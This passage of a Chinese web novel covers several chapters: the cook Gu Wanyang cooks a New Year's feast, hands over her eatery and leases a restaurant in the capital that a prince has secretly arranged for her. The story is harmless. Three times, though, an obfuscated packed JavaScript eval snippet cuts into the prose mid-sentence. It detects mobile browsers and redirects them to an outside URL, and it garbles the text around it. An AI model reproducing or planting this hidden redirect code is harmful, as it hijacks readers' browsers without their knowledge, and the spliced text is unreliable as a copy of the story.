这是顾宛央第二次跟桂花婶和张婶一家吃年夜饭，去年年夜饭的时候，他们才刚刚同住没多久，没粮也没钱，全靠着官府救济粮过日子，年夜饭自然是简单地聚在一起热闹一下而已。 今年比去年的境况好了很多，桂花婶和张婶家男人在外打拼了一年，年关前托人把钱都捎了回来，还有小桃跟着顾宛央做了一年的工，也攒了不少钱交给桂花婶，顾宛央更不用多说，这一年虽然很辛苦，但收获满满，不仅是钱财上的，还有亲情上的。 而且陈家二老还买了一堆年货带过来，所以今年的年夜饭非常丰盛，本来顾宛央想要承担起做年夜饭的重任，但桂花婶和张婶心疼她做了一年的饭了，只让她做三个大菜，其他的她们两个来张罗。 顾宛央看了看准备的年夜饭食材，打算做个羊肉、蹄髈和鱼，其他的小炒菜和蔬菜以及汤就让桂花婶和张婶准备。 天空飘起了雪花，城西村的上空炊烟袅袅升起，大片的雪花与白色的烟雾融为一体，为万物裹上一层素妆。 羊肉和蹄髈是陈大爷和陈大娘特意去集市买了带过来的，那条大草鱼是隔壁婶子家水塘养的，桂花婶特意去买来的，说是年夜饭必须得要有鱼，取年年有余的好口彩。 羊肉是特意挑选连皮带肉的，顾宛央打算做的白切羊肉，正是需要这种部位，这样的羊肉煮出来肉质紧实、香而不腻。 昨天晚上顾宛央便将羊肉切成大块，浸泡出血水后用花椒和盐将羊肉细细地抹一遍，花椒盐能渗入肉质提升香气，更好地去除羊肉的腥味，然后再用料酒和葱姜汁腌制一晚上。 经过一晚上的腌制，顾宛央把羊肉取了出来清洗干净，冷水下锅开始焯水，水开之后捞出浮沫，转成小火继续炖煮，把八角桂皮等等这些香料装在一个自己缝制的纱布袋中，压制在羊肉的底部一起炖煮，羊肉会慢慢吸收这些天然的香料，逐渐散发出香味来。 等到筷子能够轻松插入羊肉的时候，就可以出锅了，将羊肉放凉后，再连皮带肉切成厚厚的片状，放在盘中码放整齐，并在羊肉上方铺一层纱布和干净的白菜叶，再压上重物，使得羊肉冷却后变得肉质更加紧实。 这道菜严格来说是凉菜，就是得放凉后再吃，吃起来筋道细嫩，蘸上料汁后口感鲜美无比。 酱蹄髈也是道硬菜，顾宛央先将蹄髈用火烤一遍，将上面残余的毛烧除干净，再用刀刮一遍，就清除地干干净净了。 再将蹄髈放入凉水中烧开焯水后捞出，起锅烧油炒糖色，再将葱姜料酒酱油炝锅爆香后加入足量的清水，再把焯过水的蹄髈放进去没入水中，同样地将纱布包着的香料放入水中，大火烧开后转小火慢慢炖煮。 将蹄髈炖表皮呈酱红色、汤汁浓稠后便可出锅了，将剩余汤汁浇在蹄髈上面添香提味。 烤鱼是这三道菜里面最为复杂的一道，先将草鱼处理好，将鱼骨敲断，然后再草鱼表面改花刀，再撒上盐、料酒和葱姜进行抓揉腌制。 趁着腌制的时间，顾宛央将小泥炉的炭火升起来，做了个简易的烤架，等到草鱼腌制好后，将鱼穿在烤架上烤制。 小泥炉的火焰，让顾宛央在这寒冷的天气感到一丝温暖，她专注地翻动着烤架上的鱼，直至表面金黄散发出香气，这才将烤好的鱼放入铺满配菜的砂锅中备用。 顾宛央另起一锅烧油，将葱姜蒜辣椒和豆瓣酱放进去爆香，再加入几勺清水煮开后，倒入砂锅中。 接着再往砂锅中的草鱼身上撒上蒜末、花椒和葱花，将烧的滚烫的热油泼了上去，只听得“滋”的一声，热油将调料激发出浓郁的香味，这让在厨房忙碌的桂花婶和张婶吸引了过来。 她俩从未见过这种做法的鱼，边干活边观察着顾宛央的做法。 顾宛央将砂锅放到灶台上，吩咐小桃烧火开始炖煮砂锅中的烤鱼以及配菜，本来这道菜应该从这时候开始就端上餐桌，在餐桌上用小火边炖煮边吃的，但顾宛央见没有可以放在餐桌上的炉子，便打算将烤鱼直接炖煮好再端上桌，效果也是差不多的。 炖煮过后的烤鱼逐渐入味，呈现出红油浸润过的颜色来，顾宛央见火候已够，吩咐小桃熄火，将整个砂锅端了出去。 堂屋的两张大桌已经拼在了一起，桌上摆满了顾宛央、桂花婶还有张婶做的菜，大丰小丰和栓子早已被香迷糊了，哪都不去就等在餐桌旁边，数着一道一道上桌的菜。 终于年夜饭的九菜一汤全部做好了，九婆婆一直招呼着陈大爷和陈大娘，她一边请陈家二老入座，一边让大丰小丰还有栓子帮忙拿碗筷盛饭，大家热热闹闹地忙活了一阵，总算是全都可以入座了。 一大桌子正好十个人十道菜，桂花婶说特意做的九菜一汤，象征着十全十美。 大人们都倒上了顾宛央自己酿的果酒，孩子们也都在杯子里倒了白开水，大家一起举杯说着祝福的话，放下杯子后，都等不及动起筷子来。 桂花婶第一筷子就夹了一口烤鱼，她非常好奇这道菜是什么味道，等吃进嘴里后，她忍不住对顾宛央竖起了大拇指，草鱼经过烤制后继续炖煮，不但外焦里嫩，而且十分的入味，果然是能开食肆的厨艺！ 因为有好几个孩子，所以顾宛央并没有将烤鱼做的很辣，只是稍微有点辣度，所以几个孩子就争先恐后地夹着烤鱼吃起来。 小桃也不跟他们去争着吃烤鱼，而是将筷子伸向了酱蹄髈，她馋这一口好久了，她最爱吃蹄髈的皮，筷子轻轻一戳便能将一大块皮撕扯下来，连带着蹄髈的肉一起，大口吃进嘴里。 这一口咸鲜滑嫩，一点都不腻，把小桃好吃得直跺脚，宛央姐的厨艺真的是太好了。 陈大爷和陈大娘就近夹着白切羊肉蘸着料汁吃，连皮带肉的白切羊肉肉质紧实、料汁鲜美，没有一丝腥味，咬在嘴里也很鲜嫩，一块白切羊肉吃下去，两人连连点头。 顾宛央见大家对自己做的菜都吃的很满意，心里也高兴，她每个菜都稍许尝了几口，确定了自己的水平还是跟以前一样。 酒过三巡，大家原本饿的咕咕叫的肚子得到了极大的满足，除了几个小孩子，大人们吃饭的速度明显降了下来，开始聊起了家常。 桂花婶喝了两杯果酒有些上脸，脸上红扑扑的，她端着杯子敬顾宛央，说道：“宛央，这一年多谢你照顾小桃了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15095665|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这皮猴子比去年懂事了很多，谢谢你。” 顾宛央赶忙说道：“是小桃帮了我很多，该说谢的是我。” “哎呀，我说桂花姐、宛央你俩就别这么客气了，咱们都是一家人。”张婶也明显有些微醺，笑嘻嘻地说道。 “对，你说的对，今天我们不说感谢，就聊聊家常。”桂花婶对张婶笑道，转头随口问了顾宛央一句：“宛央，你明年还继续在城里开食肆吧？” “不呢，娘，宛央姐可能过完年要带我去京都开酒楼啦。”小桃忙里抽空地插了一句嘴。 “什么？” 在座的被小桃这句话有些惊到了，目光刷地都看向了顾宛央。 顾宛央正夹了一块白切羊肉打算吃了，这么多双眼睛突然集中过来，让她都不好意思吃了。 她其实并没有跟小桃确定要过完年去京都，但那天小桃见她没反对，就默认她已经在考虑这件事情了，顾宛央这次倒是没有嫌弃小桃嘴快，反正也正有这个想法，不如说出来看看大家的意见，特别是陈家二老的。 “有这个打算，县城里的客流太少了，而且价格也不能开得太高，干同样的活，肯定是京都更能赚钱，所以我在考虑是不是要去京都开铺子，也想听听大家的意见。”顾宛央面对着大家的疑惑，笑着答道。 陈大娘张了张口，犹豫了一下又闭上了嘴。 “娘，你有什么话就直说，我们都是一家人了。”顾宛央看到陈大娘的欲言又止的样子，开口说道。 “宛央，若是你去京都开酒楼了，可不可以带上我跟你爹啊？我们还是可以一起帮忙的。”陈大娘终于开口，小心翼翼地问道。 顾宛央闻言一笑，肯定地说道：“当然，你俩是我的家人，肯定要带上你们的，以后我去哪你们就去哪，就是不知道你们舍不舍得离开这里。” “舍得，舍得。”陈大爷有些激动地说道：“我年轻的时候就想去京都闯一闯，但那时候没机会去就回来了，你若是肯带我们去，那是最好的。” 陈大娘也在一旁点头赞同陈大爷的话。 见两位老人没有意见，还很愿意跟自己走，顾宛央的心安了一大半。 “宛央，你若是下了决定，那就大胆地去，把这皮猴子也带上，多一个人也多一个照应，要是在京都做的不开心，那就随时回来，反正城西村永远是你的家，我和你桂花婶一直都会在这里等你们回来。”桂花婶举起酒杯，激动地说道。 “对，宛央，你去到哪里，我们都会在这里求菩萨保佑你的，我和你桂花婶是出不去了，你就代替我们出去看看。”张婶也上头了，平时安安静静的一个人，此时跟桂花婶一样激动。 “太好了，娘，你是最好的娘了。”小桃见桂花婶不再像以往那样犹豫不让她出门，放下碗筷抱着桂花婶就亲了一口。 桂花婶反手也一把抱住小桃，在她脸上亲了几口，小桃从没见过桂花婶对她做这样亲昵的动作，吓了一跳赶紧跑开，桂花婶爽朗地笑了起来。 众人一致赞同鼓励她去京都，这是顾宛央没有料到的，看着大家脸上的笑容，顾宛央举起酒杯，对着大家敬了一圈，一饮而尽！ 73. 第 73 章 休闲的日子总是过得飞快，过了正月十五，这个年也就过完了。 回到城里的顾宛央已经开始着手打算将随心小食肆盘出去，她是决定了就马上行动的人，等有人接手小食肆了，那就该去京都找合适的铺子去了。 顾宛央在食肆门口挂了转让的信息，她本打算还要去觅宅铺挂信息，但当天晚上食肆打烊的时候，文庙的刘大厨就带着徒弟尹多来了。 “顾姑娘，你这食肆生意这么好，为何要转让？”刘大厨脾气直，也不绕弯子，开门见山地问道。 “刘大厨，先喝口茶。”顾宛央给刘大厨和尹多倒了一杯茶，坐下来笑道：“不瞒刘大厨，我是想把铺子盘出去后，去京都开铺子去。” “哦？”刘大厨一听，有些惊讶：“你要去京都做生意？” “是的，所以这个铺子想要盘出去。”顾宛央点头，问道：“刘大厨这次是来？” “我也实不相瞒，是想来看看这个铺子能不能盘下来。”刘大厨说道。 “刘大厨可以开铺子了？”顾宛央疑惑地问道，他的祖训呢，不管了吗？ 刘大厨赶忙摆手道：“不是我开，是想让尹多盘下来，继续开这个铺子。” 顾宛央看向尹多，见他对着自己猛点头，开口问道：“你不跟着你师傅了？” “师傅说我早就该出师了，但我还想再跟师傅多学学就一直没离开，如今师傅听说你的铺子要盘出去，就带我来问问情况，看能不能帮我盘下来，我来开这个食肆。”尹多答道。 “是啊，这孩子已经出师，我也没什么好教他了的，我又不能自己开铺子，只能在府衙做厨子，他跟着我只能做个帮厨，长期下去就耽误他了。”刘大厨叹道。 “顾姑娘，自从你开了这个食肆后，每天都在排队，生意好的不得了，我其实很佩服你，你年纪比我还小，还是个姑娘家，就有这么大的魄力自己独立门户开铺子做生意，所以我也萌生了自己出来开铺子的想法。”尹多真诚地说道。 “这孩子一开始还不敢给我讲，后来实在忍不住了才说的，我一听当即就鼓励他去找铺子，把这店开起来。”刘大厨有些激动地说道，“但谁知开铺子也不是这么容易的，这找了好长时间的铺子，也没有个合适的，不是太大就是太小，要么就是房东不肯让开食肆。” 顾宛央一听，笑道：“那岂不就是缘分了，我要转这食肆，尹多想要接，大家都省事了去。” “对，顾姑娘，那我们就先定下来了，这个食肆尹多接了，你看如何？”刘大厨说道。 “好，那就说定了，这些天我会准备一下，尹多你准备好随时接手铺子了吗？”顾宛央问道，若是转让这么顺利，那她就能尽早去京都做准备了。 “没问题，我心理已经准备好久了，找铺子也是年前就开始找了，顾姑娘若是准备好了，我随时都能接手。”尹多心情有些激动，又好像不是那么真实。 顾宛央点点头，没想到才挂出去一天的信息，就已经有人接手了，她环顾着随心小食肆，这一年来承载了她太多的汗水，也收获了相应的回报，是时候该离开了。 与尹多交接食肆非常顺利，毕竟是熟人，什么都好商量，顾宛央提出的条件是在找到京都落脚点之前，她和小桃仍是要住在后院，等京都有了地方再一起搬走，省了一次搬家的力气。 作为回报，顾宛央也没有收取太多的转让费，只是把开铺子时装修还有购置物品的钱，打了个折算，尹多喜滋滋地接下了食肆，顾宛央的经历让他受到很大的鼓舞，猛然间有了老板的气质，刘大厨看着跟了多年的徒弟，终于出师独立开食肆了，也是大为高兴。 把随心小食肆转出去后，顾宛央终于没了牵绊，她带着小桃当即就租了马车，要去京都找铺子。 陈大爷不放心两个姑娘家独自上路，硬是好说歹要跟着一起去京都，顾宛央也拗不过陈大爷，看他日渐身子骨硬朗起来，也就带着他一起出发了。 三人赶了一天的路程，终于在关城门之前进了京都。 “天哪，宛央姐，这就是京都了！好繁华啊！”小桃满眼都是惊艳，这比齐中县大了不知道多少倍。 天色逐渐暗沉，宽大街道两边的各式酒楼、酒馆、客栈、杂货铺、成衣铺等等铺子纷纷亮起了灯笼，满眼望去一派繁荣锦绣的景象。 “天色已晚，我们先找个客栈住下休息，明日再去找铺子。”顾宛央看着大红灯笼映照着街道，说道。 陈大爷和小桃点头，顾宛央就近找了个不大不小的客栈，看上去应该不会太贵，但干净整洁让顾宛央很满意。 果然如顾宛央所料，客栈的价格确实不贵，只是房间小一些，顾宛央开了两间房，她跟小桃住一间，陈大爷住一间。 客栈老板娘非常热情，领着三人进了房间，殷勤地问需不需要准备晚餐，顾宛央坐了一天的马车确实挺累，也不想再出门找吃的，便让老板娘随便炒了几个小菜，一会就下楼吃。 在客栈大堂吃完晚餐，顾宛央三人就回房早早歇下了，养好精神补充体力，京都地方大，找起铺子来可不像小城那么简单。 第二天，顾宛央三人就起了个大早，到客栈大堂先吃早饭。 老板娘端着粥和馒头就过来了，热情地笑道：“客人，昨天晚上休息的怎么样？” 顾宛央点点头说道：“挺好的。” 老板娘将托盘上的早餐放到桌上，随意地问了一句：“三位客人是来京都游玩的吗？我这里有京都的地图，可以免费送给你们哦。” 陈大爷刚想摆手拒绝，顾宛央却开口：“那就多谢老板娘了。” 他们从未来过京都，若是有一份京都的地图，那倒是省了很大的事情。 “那我去给客人取过来。”老板娘仍旧是笑容满面。 没多久，一份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098887|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 简易的手绘地图就摆在了顾宛央的面前。 “喏，这个法华寺你们一定要去的，求神拜佛很灵验的，还有这醉仙楼也要去尝尝，他家的八宝鸭好吃的很。”老板娘不见外地介绍了起来。 顾宛央随着老板娘的手指移动着目光，突然开口问道：“老板娘，你知不知道这附近哪里有觅宅铺呢？” “觅宅铺，姑娘是想找房子？”老板娘问道。 “对，确切地说我们想找个能开酒楼的铺子。”顾宛央说道，这本地图上并没有标注觅宅铺的方位，这位老板娘是京都本地人，不如问问她，省的自己再出去瞎转。 “呀，这不就巧了吗，我有个朋友这些天正好在转让一间酒楼，就是不晓得转出去了没。”老板娘一拍手，说道。 “真的吗？”顾宛央也很惊讶，这么巧的吗？ “对，我可以帮你们去问问看，若是还没转出去，你们又能够看得上的话，不用通过觅宅铺还能省下不少佣金呢，对大家都有好处。”老板娘热心地说道。 陈大爷拉了拉顾宛央的袖子，在她耳边悄声说道：“宛央，会不会太巧合了一点？小心有诈。” 顾宛央明白陈大爷的小心谨慎，小心驶得万年船，但如果不去看看的话，又怎么能断定是骗子呢，若是骗子的话，肯定有狐狸尾巴露出来，她不信在天子脚下又是光天化日之下，这些骗子能把他们三个人绑了不成。 顾宛央拍了拍陈大爷的肩安抚道：“无妨，我心中有数。” “那就麻烦老板娘去问问，看铺子还在不在？若是还没租出去，我们能不能吃完早饭就先去瞧瞧。”顾宛央笑着对老板娘说道。 “得嘞，你们先吃早饭，吃完我就可以给你们消息了。”老板娘一个漂亮的转身，身姿袅袅地走了开去。 “宛央姐，你是福星转世吧，转让铺子这么顺利，被尹多顺利接下来了，现在来京都找新铺子，这还没开始找呢，就有铺子找上门来了，居然也这么顺利。”小桃说道。 “京都人多铺子多，机会自然就多，不过现在还只是有这个信息而已，并不一定就能成，多看看也是好的。”顾宛央说道，机会多也要能抓住才行。 顾宛央转头看向陈大爷，笑着说道：“爹，还好你跟着我们一起来了，不然像这种情况我也是不敢轻易跟着去看的，非得找个觅宅铺不行。” 陈大爷被这两句话哄得笑了起来，说道：“宛央，你说的也是对的，若是怕这怕那，担心这个担心那个，那就算是机会到了眼前，也是抓不住的，我们有三个人呢，到时警惕一些，反正我也在觅宅铺租出去过好些房子了，那些流程和应该有的材料我都清楚，没事的，你放心地去看去谈，爹给你把关，他们甭想骗我闺女。” 见陈大爷开心起来，顾宛央也笑了，俗话说得对，家有一老如有一宝，老人家虽然比较固执但经验丰富，有他把着，顾宛央心中也能定心的。 74. 第 74 章 早餐吃完，老板娘就带来了好消息，那家铺子还没租出去，而且现在就可以去看。 顾宛央一行三人跟着客栈的伙计出了门，顾宛央一边跟着走一边看地图，到达目的地的时候才发现，这个酒楼位置非常好，就在京都城的中心，再抬眼一瞧，是两层楼高的一栋小楼，招牌还没拆下来，写着“陶记酒楼”四个大字。 走进酒楼，有上下两层，楼下是大厅，楼上是包厢，环境非常好而且很新，若是能接手的话，倒是可以省去不少的功夫，不用改造直接就可以用了。 最让顾宛央心动的是，这个小楼跟齐中县的小食肆构造是一样的，有个后院是可以住人的，而且房间还多了好几间，就算是请的帮工也可以住得下，这在顾宛央心里就已经打八十分了，就看老板开价要多少了，如果在自己承受的范围内，她是想拿下的。 老板姓陶，是个四十多岁的中年人，长得白白胖胖，脸上一直挂着笑，让人一看就觉得很面善。 陈大爷经历多，见到此人的面相，心中稍微宽了心，俗话说相由心生，这人一看就是没什么坏心眼的。 陶老板接待三人绕着酒楼参观了一圈，然后坐下来开始谈具体的事情，顾宛央开口问道：“陶老板，这么好的一个酒楼应该还没开多久吧，怎么就要转让了呢。” “实不相瞒，这个酒楼才刚刚开了三个月，我的老本行并不是做酒楼生意的，所以这三个月以来，不仅亏损厉害，而且也觉得心力交瘁，索性转让了还是做我的老本行去。”陶老板实诚地说道。 “不知陶老板的老本行是什么生意？”顾宛央问道。 “车马行。”陶老板答道。 做车马行生意的居然来开酒楼，这个老板不知道发什么疯，顾宛央内心想着，但却没好意思开口。 “说起来不怕你们笑话，我是听说这一片的酒楼生意火爆，看他们挣钱轻松得很，我也就盘了这栋小楼开酒楼，但没想到隔行如隔山，经营不起来。”陶老板摇着头说道。 顾宛央一边听着一边点头，问了陶老板的转让费用和每月的租金，陶老板只想快点转出去，转让费用倒是不贵，顾宛央算了算，她勉强能承受得起，只是这酒楼开起来以后，就得立马挣钱才行，不然就会像陶老板那样支撑不了几个月。 顾宛央询问了很多细节的东西，只是没有急着跟陶老板下定，等她了解地差不多了，才说道：“陶老板，我们三人今天也是第一天开始找铺子，机缘巧合听客栈老板娘说你这里有铺子转让，就先过来看看，现在我们情况也了解地差不多了，我们回去商量一下明天再来给你答复怎么样？” “行行行，那我明天在这里等你们。”陶老板倒没有猴急地催着他们现在就下定，而是笑眯眯地点头同意。 顾宛央带着陈大爷和小桃从酒楼出来，并没有急着离开这一片区域，而是在陶记酒楼附近的铺子转了一圈，一边买了些小东西，一边打听了陶记酒楼的情况。 跟陶老板讲的情况大致差不多，就是车马行的老板突然心血来潮开酒楼，但经营不善倒闭了，这两天才刚开始转让的。 打听了一圈，顾宛央和陈大爷都放下心来，看样子陶老板说的都是实情，不可能这附近的人都是他安排的。 离开陶记酒楼后，顾宛央又在附近的区域转了一天，也找到了觅宅铺，只不过看来看去都没有陶记酒楼那么满意，要么就是地里位置不合适，要么就是价格太高，还有就是毛坯的什么都要自己采购装修，又花钱又花力气。 顾宛央跟陈大爷、小桃商量了一番，大家一致认为陶记酒楼是最好的选择，于是第二天一大早，三人急急地赶往陶记酒楼，生怕去晚了老板要租给别人去。 陶老板还是笑眯眯地站在门口接待了他们，由于昨天该了解的该谈的都已差不多了，所以在陈大爷核验了房契、官府备案等等这些材料后，顾宛央跟陶老板签下了租约。 双方按下手印，顾宛央付了定金，约定三日后再来付剩下的租金并且收房，陶老板始终都是笑眯眯的，顾宛央总觉得他有一种如释重负的感觉，对于自己的要求无一不答应的，看样子开这个酒楼确实让他这个外行苦恼不已。 陶老板目送着三人的背影离开，深深地松了一口气，两个黑色劲装打扮长得一模一样的年轻男子悄然出现在陶老板身后，其中一个开口说道：“辛苦陶老板了。” 陶老板闻言急忙转身：“见过二位大人，幸不辱王爷之命，已将酒楼租给顾姑娘。” “嗯，我会飞鸽禀告王爷，你可以回车马行了，记得三日后来交房就行。” “是，小的这就回去了。”陶老板行过礼，一身轻松地往外走去。 两个年轻人看着陶老板轻松的步伐，嘴角微微上扬，其中一个开口道：“难为陶老板了，车马行的生意做的那么好，却硬是在这里做亏了几个月。” 另一个也开口道:“是啊，哥，王爷料事如神，北伐前吩咐我们留下来，把这栋楼买下来开酒楼，还让我们随便经营，要月月亏钱才行，这不才开了年，顾姑娘就来京都找酒楼了。” “哎，可惜咱俩不能上战场杀敌了。” “哥，别这样想，我们这不在为王爷做事吗，让他能无所牵挂安心在外打仗。” “你说得对，等下次再有上战场的机会，我一定要上，让郑奎留下来办这些事情。” “哥，别想太远了，咱们先把保护好顾姑娘这件事做好再说吧。不过，为什么王爷嘱咐等顾姑娘在京都开了酒楼，就别再插手她生意上的事情呢，不用给她拉拉生意拉拉客人吗？” “笨死你得了，你没看在齐中县的小食肆，排队的人那么多，还需要我们拉客人来？那顾姑娘要忙死了。帮顾姑娘找酒楼那是因为她在京都人生地不熟的，怕她找不到合适的地方。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103557|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “对哦，凭顾姑娘的厨艺，到哪开酒楼肯定都是生意火爆的。” “行了，走吧，再过几日便可回京都了，不用再待在那个小县城了。” “哥，你等等我。” ----------------------------------- 顾宛央和小桃回到了随心小食肆，这几天的任务就是整理东西准备搬到京都去。 “宛央姐，瑾修哥和郑奎哥房间的东西都打包带走吗？”小桃问道。 顾宛央沉吟了半晌，说了句：“带走。” “也对，说不定能遇见他们，就能还给他们了。”小桃一边动手整理一边喃喃自语。 反正他们的东西也不多，带着也不碍事，顾宛央心里默默地想着。 到了出发那日，顾宛央租了两辆大马车，一辆坐他们四人，一辆装所有的家当，两辆马车正准备出发时，崔士忠来了。 “宛央姑娘。”崔士忠满脸的落寞，唤了一声。 陈大娘很有眼色把陈大爷和小桃拉上了车，给顾宛央留下两人单独对话的空间。 “崔学子，你是来送我的吗？”顾宛央笑着问道。 自从李瑾修离开后，崔士忠每每来找顾宛央，她都是淡淡的，无论他多么热情，但基本看不到她的一个笑颜。得知她要转让小食肆去京都，崔士忠来找过她好几次，问她能不能别走，但得到的总是沉默。 看到顾宛央今日破天荒对自己笑了，崔士忠忽然间又有了勇气，他从袖袋里掏出灯会那天掉落在河里的簪子，说道：“宛央姑娘，我把簪子捞上来了，送给你。” 顾宛央看着洁白的羊脂玉簪，怔了半晌，他这是从河里去捞起来的？这得是花了多长的时间才捞起来的，那么大一条河捞这根小小的簪子，太不容易了。 “我想过了，既然你已决意要去京都，我便努力考上功名，去京都找你！”崔士忠一鼓作气，把心中的话说了出来。 顾宛央的目光缓缓从簪子转移到崔士忠脸上，见他眼神清澈、神色坚定，突然有些不忍心说出残忍的话，但长痛不如短痛，有些话今天必须说清楚了。 “崔学子，谢谢你的坦诚，我对你只是朋友之间的友谊。”顾宛央有些艰难地说道，“我，不心悦于你。” 崔士忠的脸色一点一点变得苍白，他虽然已经猜到是这个结局，但被直接明白地告知真相，他还是低估了自己心痛的感受。 “对不起，我走了。”顾宛央也不忍心再多待下去了，她说完最后一句话，转身决然地上了马车。 崔士忠手中紧紧攥着的白玉簪子，尖锐的簪尖划破了他的手掌，纯白的簪体染了一抹鲜艳的红色，但他似乎一点都未察觉到疼痛，只是目光仍然追随着顾宛央的身影。 马车缓缓地启动，随着车夫的吆喝声以及鞭子声，顾宛央的马车慢慢消失在街道拐弯处。 75. 第 75 章 行驶了一天的马车终于到达了陶记酒楼，陶老板像是事先知道他们来的时间一样，早已笑眯眯地等在门口。 “顾姑娘，赶路辛苦了，这是酒楼所有的钥匙，你查收一下。”陶老板将一大串钥匙交给顾宛央。 “谢谢陶老板，这么晚了，还要劳烦你等着。”顾宛央抱歉地说道。 “顾姑娘客气了，那我先走了，若是有任何问题，你到陶记车马行来找我。”陶老板说道。 顾宛央点头道谢，看着陶老板脚步欢快地离去。 天色已晚，顾宛央几人把行李搬至后院，打算快速收拾一番早点休息，没想到进到后院，发现打扫得干干净净，每个房间也都干净整洁，比前两天来看的时候还要干净，只要把自己带来的被褥铺上去就行了，相当于可以拎包入住。 看样子陶老板是个实在人，交房前打扫得如此干净，这倒是省了顾宛央几人不少的麻烦事。 坐了一天的马车，顾宛央也确实累了，一躺下就睡了过去，仿佛不像是新换了个住的地方，睡得特别安心。 第二天一大早，顾宛央满血复活，感到精神特别足，没有一点水土不服的感觉。 酒楼已经租下，每一天都在支出成本，这让顾宛央感到了不小的压力，还好酒楼不需要再重新装修布置，直接就能用起来，现在最紧急的就是招一个大厨和几个跑堂伙计。 京都不像小县城，客流大、酒楼地方也大，靠顾宛央一个人炒菜肯定是忙不过来的，所以顾宛央已经早有打算，小桃这一年已经学了不少本事，她可以掌勺一些菜品，另外还需再找一位厨师，掌勺另一半菜品，她自己就负责做几个招牌菜，而且招牌菜不是谁都可以点的，必须是酒楼的会员才有资格点招牌菜。 酒楼实行会员制，是顾宛央在随心小食肆时就有的想法，京都贵人多，门槛越高就会越吸引他们，当然必须是菜品要惊艳才行，所以顾宛央打算把自己做的菜作为招牌菜，专供会员。 至于首批会员，自然就是来过随心小食肆的那批，所以那时候顾宛央才会让他们留下地址，为的就是这一天，可以联系到他们，给他们发会员卡，也算是首批福利。 顾宛央一早就将招工启事贴在了门口，再到介绍酒楼的客栈老板娘那里，给她送了些自己做的点心，并请她帮忙看看有没有合适的人推荐。 老板娘没想到顾宛央还会专程来感谢自己，倒是有些意外，一听说要帮忙，二话不说，就将顾宛央的招工启事贴在了自己的客栈门口。 想着自家酒楼跟老板娘的客栈都是闹市区，来来往往的人非常多，这两个地方贴了招工启事，能被看到的机会非常多，招工的准备工作算是完成了。 接下来顾宛央转身去了隔壁的木匠铺子，订了一块酒楼的牌匾，以及定制的会员卡。 顾宛央将手绘的会员卡样式拿出来给木匠师傅，拜托他们用木头做成一张张的小卡片，木匠师傅从未见过这样的订单，顿时有些傻眼，只不过看在顾宛央开出的价格高的份上，依旧是欣然接下了这不费事不费力的轻松活，并且保证给她加急做，这两天内就能做完。 顾宛央在外头跑了一圈，回到酒楼，已经有来应聘的厨师和伙计了。 陈大爷和陈大娘跟小桃一起在酒楼收拾，一见到顾宛央回来，赶紧把那些等着的人喊了过来，让顾宛央相看。 伙计跑堂还好，只要问些问题，看一下面相，再看看是否健康强壮，差不多就可以定下来。 厨师就没那么简单了，必须让他们做几道自己的拿手菜，再来品鉴是否合适。 第一天来的厨师中，顾宛央没有满意的，她对于厨师把控非常严格，一家酒楼能不能生意火爆，大部分取决于菜品，所以找厨师马虎不得。 接连三天，顾宛央面试了十几个厨师了，依旧是没有满意的，酒楼的牌匾和会员卡都已经交货了，酒楼开业迫在眉睫，正当顾宛央一咬牙在想要不还是自己来的时候，一个穿着朴素单薄的年轻女子走进了酒楼。 “请问，酒楼是不是招厨师？我可不可以试一试？”年轻女子声音很轻，但却有着莫名的坚定。 顾宛央正在设计会员卡，听到声音，抬头一瞧，眼前这位女子顶多不过二十七八岁，在这春寒料峭的天气里，衣着单薄，鼻尖冻得通红，一双好看的桃花眼正注视着顾宛央。 “是，你是厨师？”顾宛央点头，问道。 “嗯，我看你们酒楼招工没有说不招女厨师，所以我就进来了。”年轻女子说道。 “对，男女不限，只要你做的菜好吃，能过了我这一关就行。”顾宛央笑道。 “你......是老板？”年轻女子疑惑地问道。 “对，我是老板，也是这家酒楼的主厨。”顾宛央大大方方地自我介绍。 年轻女子一脸惊讶，这姑娘看上去也就十八九岁的样子，居然是这么大一个酒楼的老板了，而且还是主厨。 “你以前在哪家酒楼做过？或者自己开过食肆？”顾宛央继续问道。 “我......”年轻女子有些为难地开口：“老板，能不能先让做菜，你如果觉得菜品通过了，我再详细告诉你我的情况。” 哦？顾宛央微微挑眉，看样子这女子有故事，不过先让她做菜也行，菜品若是能通过，其他问题都好说。 “你跟我来。”顾宛央起身，领着年轻女子进了后厨。 “我姓顾，你叫我宛央就行，你怎么称呼？”顾宛央边走便问道。 “我姓张，家中都喊我玉娘。”张玉娘答道。 “你看看我这里现有的食材，你自己看着做吧。”顾宛央指着灶台说道。 为了让应聘的厨师试做菜，顾宛央让小桃去采购了各种食材，完全放手让他们自己选最拿手的做。 张玉娘走过去仔细看了一遍食材，麻利地 